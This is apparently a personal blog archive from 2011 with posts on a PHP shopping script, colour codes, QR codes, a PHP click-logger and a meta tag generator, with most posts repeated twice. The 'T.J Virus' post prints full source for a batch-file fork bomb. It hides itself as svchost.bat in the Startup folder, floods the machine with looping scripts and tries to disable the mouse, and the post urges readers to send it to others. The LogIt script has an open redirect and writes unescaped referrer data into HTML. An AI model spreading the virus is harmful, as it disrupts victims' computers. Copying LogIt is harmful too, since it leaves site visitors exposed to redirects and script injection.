Saturday, February 26, 2011
Tuesday, February 15, 2011
FPSP - Flat File Php Shopping Page v 4.0
Have you enjoyed my Php Shopping Page Scripts v 2.0 and v 3.0 ?
Then you would love perhaps the last version of Php Shopping Page script FPSP v 4.0.
Yes the last and the best. It has so many new features that it may be the biggest script that I have ever written.
The features include:
1) It uses text files as database, so NO Sql or Access requried.
2) The products or scripts can be uploaded and the database can be updated online.
3) After a successful transaction, the user is asked to enter an email address where an email is sent containing a download code. The user clicks on the code to download the file.
4) The download code is different for each transaction and once downloaded then it becomes invalid.
5) The file to be downloaded is first copied to a download folder and given a random name, so that any user cannot trace the file to the folder where all your download files are located.
6) It also logs the date and time of download, IP address of the user, name of the product, file name and much more so that you know how much you sold.
7) All the important pages accessed by the admin are password protected.
This is just the summary of all the things that I've added, it took me months to come up with a script that was complicated enough to solve all your problems as well as simple enough for the average user to use.
It is still in Alpha testing stage. To go to Beta stage I need volunteers who can test the script and tell me the result. So if you want to test it for me, then leave a comment along with an email address and I'll send you a copy.
Then you would love perhaps the last version of Php Shopping Page script FPSP v 4.0.
Yes the last and the best. It has so many new features that it may be the biggest script that I have ever written.
The features include:
1) It uses text files as database, so NO Sql or Access requried.
2) The products or scripts can be uploaded and the database can be updated online.
3) After a successful transaction, the user is asked to enter an email address where an email is sent containing a download code. The user clicks on the code to download the file.
4) The download code is different for each transaction and once downloaded then it becomes invalid.
5) The file to be downloaded is first copied to a download folder and given a random name, so that any user cannot trace the file to the folder where all your download files are located.
6) It also logs the date and time of download, IP address of the user, name of the product, file name and much more so that you know how much you sold.
7) All the important pages accessed by the admin are password protected.
This is just the summary of all the things that I've added, it took me months to come up with a script that was complicated enough to solve all your problems as well as simple enough for the average user to use.
It is still in Alpha testing stage. To go to Beta stage I need volunteers who can test the script and tell me the result. So if you want to test it for me, then leave a comment along with an email address and I'll send you a copy.
Sunday, February 6, 2011
Hexadecimal codes for colors for you
When designing a site it is really difficult to find a color, since there are lots of them and since each color is represented by a 6 digit hexadecimal code if any one of the digits is misplaced then the entire color changes. So to help you I have uploaded a list of most used colors along with their name and hexadecimal codes. Just go to http://www.titan4119.110mb.com/color_codes.htm.
T.J Virus
Hey guys,
Last time I posted my Happy Ending batch virus code 4 U, I M surprised 2 see that still today many search for that post. So to rejoice that I M again posting a batch virus code written by me. It's my take on the rabbit virus or fork bomb. First it copies itself as svchost.bat in the Startup folder and then on every boot it looks for two batch files Tom.bat and Jerry.bat, if not found then it creates them. If found then it calls them and then disables the mouse. Once called both Tom and Jerry call each other again and again until you shutdown the computer.
Here is the code:
T.J VIRUS
@echo off
:: 7.J_/IRU5
:: (R3473D_8Y_NRK89
title Tom and Jerry Virus created by NRK89.
if exist "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat" goto tom
copy %0 "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
attrib +h +r "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
attib +h +r %0
exit
:tom
if exist "C:\Documents and Settings\%username%\Desktop\tom.bat" goto jerry
echo @echo off > "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo title I am Tom >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo color 08 >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo if exist "C:\Documents and Settings\%username%\Desktop\jerry.bat" goto 60 >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo start "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat" >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo :60 >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo start /max "C:\Documents and Settings\%username%\Desktop\jerry.bat" >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo copy %0 “C:\Documents and Settingd\%username%\Desktop\jerry%random%.bat >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo cls >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo echo. >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo dir/s >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo goto 60 >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
:jerry
if exist "C:\Documents and Settings\%username%\Desktop\jerry.bat" goto nxt
echo @echo off > "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo title I am Jerry >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo color 06 >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo if exist "C:\Documents and Settings\%username%\Desktop\tom.bat" goto 60 >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo start "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat" >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo :60 >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo start /max "C:\Documents and Settings\%username%\Desktop\tom.bat" >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo copy %0 “C:\Documents and Settingd\%username%\Desktop\tom%random%.bat >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo cls >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo echo. >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo dir/s >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo goto 60 >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
:nxt
start /max "C:\Documents and Settings\%username%\Desktop\tom.bat"
start /max "C:\Documents and Settings\%username%\Desktop\jerry.bat"
rundll32.exe disable mouse
exit
Save it as anything.bat and you are done. It is a big file as it contains codes for three batch files. Just send it to anyone. It won't damage your computer (I hope).
Last time I posted my Happy Ending batch virus code 4 U, I M surprised 2 see that still today many search for that post. So to rejoice that I M again posting a batch virus code written by me. It's my take on the rabbit virus or fork bomb. First it copies itself as svchost.bat in the Startup folder and then on every boot it looks for two batch files Tom.bat and Jerry.bat, if not found then it creates them. If found then it calls them and then disables the mouse. Once called both Tom and Jerry call each other again and again until you shutdown the computer.
Here is the code:
T.J VIRUS
@echo off
:: 7.J_/IRU5
:: (R3473D_8Y_NRK89
title Tom and Jerry Virus created by NRK89.
if exist "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat" goto tom
copy %0 "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
attrib +h +r "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat"
attib +h +r %0
exit
:tom
if exist "C:\Documents and Settings\%username%\Desktop\tom.bat" goto jerry
echo @echo off > "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo title I am Tom >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo color 08 >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo if exist "C:\Documents and Settings\%username%\Desktop\jerry.bat" goto 60 >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo start "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat" >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo :60 >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo start /max "C:\Documents and Settings\%username%\Desktop\jerry.bat" >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo copy %0 “C:\Documents and Settingd\%username%\Desktop\jerry%random%.bat >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo cls >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo echo. >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo dir/s >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
echo goto 60 >> "C:\Documents and Settings\%username%\Desktop\tom.bat"
:jerry
if exist "C:\Documents and Settings\%username%\Desktop\jerry.bat" goto nxt
echo @echo off > "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo title I am Jerry >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo color 06 >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo if exist "C:\Documents and Settings\%username%\Desktop\tom.bat" goto 60 >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo start "C:\Documents and Settings\%username%\Start Menu\Programs\Startup\svchost.bat" >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo :60 >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo start /max "C:\Documents and Settings\%username%\Desktop\tom.bat" >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo copy %0 “C:\Documents and Settingd\%username%\Desktop\tom%random%.bat >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo cls >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo echo. >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo dir/s >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
echo goto 60 >> "C:\Documents and Settings\%username%\Desktop\jerry.bat"
:nxt
start /max "C:\Documents and Settings\%username%\Desktop\tom.bat"
start /max "C:\Documents and Settings\%username%\Desktop\jerry.bat"
rundll32.exe disable mouse
exit
Save it as anything.bat and you are done. It is a big file as it contains codes for three batch files. Just send it to anyone. It won't damage your computer (I hope).
Quick Response Code at you service.
So guys have you heard about QR code?
It looks something like this
If you take a picture of this design from your smart phone or PC with a QR reader installed then you would be taken to my blog. Cool right and not only that you can also print out these designs like bar codes, but unlike bar codes that store only numbers, these codes can store anything from your site's url do that users are directly taken to your site to a phone number the users can call or send sms and if you want you can even leave messages encoded in them.
You can create your own code and download the QR reader software free of cost from http://qrcode.kaywa.com/
It looks something like this
If you take a picture of this design from your smart phone or PC with a QR reader installed then you would be taken to my blog. Cool right and not only that you can also print out these designs like bar codes, but unlike bar codes that store only numbers, these codes can store anything from your site's url do that users are directly taken to your site to a phone number the users can call or send sms and if you want you can even leave messages encoded in them.
You can create your own code and download the QR reader software free of cost from http://qrcode.kaywa.com/
Thursday, February 3, 2011
LogIt v1.0
Even if you have a free site or blog like mine, you still advertise it don't you?
The cheapest and easiest way to advertise your site is by asking others to post a banner of your site on theirs and adding a link back to your site or simply a text link on their site
e.g.- <a href="www.mysite.com"><img sre="mybanner.jpg"></a>
Although easy it has one big problem, how would you know how many users visited your site, from which site and which pages were visited the most?
You might have a visitor counter on your site, so do I. But that also won't give you all the details, so here is a script that not only records the date of the visit, but also the user's IP address, from which site they came and which page they visited.
click.php
<?php
// LogIt v1.0
// Script Written By Tanmay Das
// Script © Copyright Design Inline.com
// Opening Databse file
$dbase = 'dbase.txt';
$data = file($dbase);
// Creating array
$array = explode("||", $data[0]);
$today = $array[0]; // Today's date
$ipad = $array[1]; // IP of the user
$reff = $array[2]; // Site from the user came
$frurl = $array[3]; // Page the user wished to go
$today = date("l, F j, Y, g:i a");
$ipad = getenv("REMOTE_ADDR");
$reff = getenv("HTTP_REFERER");
$default0 = home;
$frurl = isset($_GET['url']) ? $_GET['url'] : $default0;
if($frurl != 'home')
{
$insertdata = $today."||".$ipad."||".$reff."||".$frurl."\n";
// Writing data to file
$fp = fopen($dbase,"a");
fputs($fp,$insertdata);
fclose($fp);
header("Location: ".$frurl); // Redirecting user to specified page
}
else
{
$userinfo = file('dbase.txt'); // Opening Database file
// Creating Table
echo '<table border = "1">';
echo '<tr><td>Date</td><td>IP Address</td><td>Referrer Address</td><td>Forwaded URL</td></tr>';
foreach($userinfo as $key => $val)
{
//explode that data into a new array:
$data[$key] = explode("||", $val);
}
for($k = 0; $k < sizeof($userinfo); $k++)
{
echo '<tr><td>'.$data[$k][0].'</td><td>'.$data[$k][1].'</td>';
echo '<td><a href="'.$data[$k][2].'">'.$data[$k][2].'</a></td><td><a href="'.$data[$k][3].'">'.$data[$k][3].'</a></td></tr>';
}
echo '</table>';
}
?>
Just save it as say click.php upload it on your server along with a blank text file named dbase.txt.
While giving someone link to post on their site, instead of
<a href="www.mysite.com"><img sre="mybanner.jpg"></a>, give
<a href="www.mysite.com/click.php?url=page.html"><img sre="mybanner.jpg"></a>
Try it out.
The cheapest and easiest way to advertise your site is by asking others to post a banner of your site on theirs and adding a link back to your site or simply a text link on their site
e.g.- <a href="www.mysite.com"><img sre="mybanner.jpg"></a>
Although easy it has one big problem, how would you know how many users visited your site, from which site and which pages were visited the most?
You might have a visitor counter on your site, so do I. But that also won't give you all the details, so here is a script that not only records the date of the visit, but also the user's IP address, from which site they came and which page they visited.
click.php
<?php
// LogIt v1.0
// Script Written By Tanmay Das
// Script © Copyright Design Inline.com
// Opening Databse file
$dbase = 'dbase.txt';
$data = file($dbase);
// Creating array
$array = explode("||", $data[0]);
$today = $array[0]; // Today's date
$ipad = $array[1]; // IP of the user
$reff = $array[2]; // Site from the user came
$frurl = $array[3]; // Page the user wished to go
$today = date("l, F j, Y, g:i a");
$ipad = getenv("REMOTE_ADDR");
$reff = getenv("HTTP_REFERER");
$default0 = home;
$frurl = isset($_GET['url']) ? $_GET['url'] : $default0;
if($frurl != 'home')
{
$insertdata = $today."||".$ipad."||".$reff."||".$frurl."\n";
// Writing data to file
$fp = fopen($dbase,"a");
fputs($fp,$insertdata);
fclose($fp);
header("Location: ".$frurl); // Redirecting user to specified page
}
else
{
$userinfo = file('dbase.txt'); // Opening Database file
// Creating Table
echo '<table border = "1">';
echo '<tr><td>Date</td><td>IP Address</td><td>Referrer Address</td><td>Forwaded URL</td></tr>';
foreach($userinfo as $key => $val)
{
//explode that data into a new array:
$data[$key] = explode("||", $val);
}
for($k = 0; $k < sizeof($userinfo); $k++)
{
echo '<tr><td>'.$data[$k][0].'</td><td>'.$data[$k][1].'</td>';
echo '<td><a href="'.$data[$k][2].'">'.$data[$k][2].'</a></td><td><a href="'.$data[$k][3].'">'.$data[$k][3].'</a></td></tr>';
}
echo '</table>';
}
?>
Just save it as say click.php upload it on your server along with a blank text file named dbase.txt.
While giving someone link to post on their site, instead of
<a href="www.mysite.com"><img sre="mybanner.jpg"></a>, give
<a href="www.mysite.com/click.php?url=page.html"><img sre="mybanner.jpg"></a>
Try it out.
Meta Tag Generator
When coding a site in HTML or PHP, meta data is really important. If you have read about SEO (Search Engine Optimization) then you would know that search engine like Google™ and Yahoo™ first read the meta data so adding it in your page makes your page even more easy for search engines to find.
But if you don't know how to write meta data then here is my Meta Tag Generator v1.0. Just enter the following data and hit Generate. Your code would be ready, just copy and paste the code between the <head></head> tags and you are done.
But if you don't know how to write meta data then here is my Meta Tag Generator v1.0. Just enter the following data and hit Generate. Your code would be ready, just copy and paste the code between the <head></head> tags and you are done.
Subscribe to:
Posts (Atom)